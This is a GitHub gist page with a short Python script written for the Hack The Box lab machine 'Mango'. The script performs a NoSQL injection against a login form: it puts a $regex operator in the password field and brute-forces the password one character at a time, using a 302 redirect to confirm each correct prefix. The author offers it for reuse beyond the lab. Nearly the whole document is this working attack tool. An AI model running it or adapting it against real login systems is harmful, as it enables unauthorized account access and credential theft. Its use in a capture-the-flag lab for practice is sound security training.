Skip to content

Instantly share code, notes, and snippets.

@ankitsaini2609
Last active November 16, 2019 16:47
Show Gist options
  • Save ankitsaini2609/7ae6289c0be5f7dd804158cfe165bffe to your computer and use it in GitHub Desktop.
Save ankitsaini2609/7ae6289c0be5f7dd804158cfe165bffe to your computer and use it in GitHub Desktop.
Use Case: Hackthebox (Machine: Mango), You can use it according to your needs.
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="" #enter the username
password=""
u="" # Enter the url here
headers={'content-type': 'application/x-www-form-urlencoded', 'Host': ''} # Enter the Host header here.
while True:
for c in string.printable:
if c not in ['*','+','.','?','|','&','\\']:
payload='username=%s&password[$regex]=^%s.*&login=login'% (username,password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
#print(payload)
#print(r.status_code)
if r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment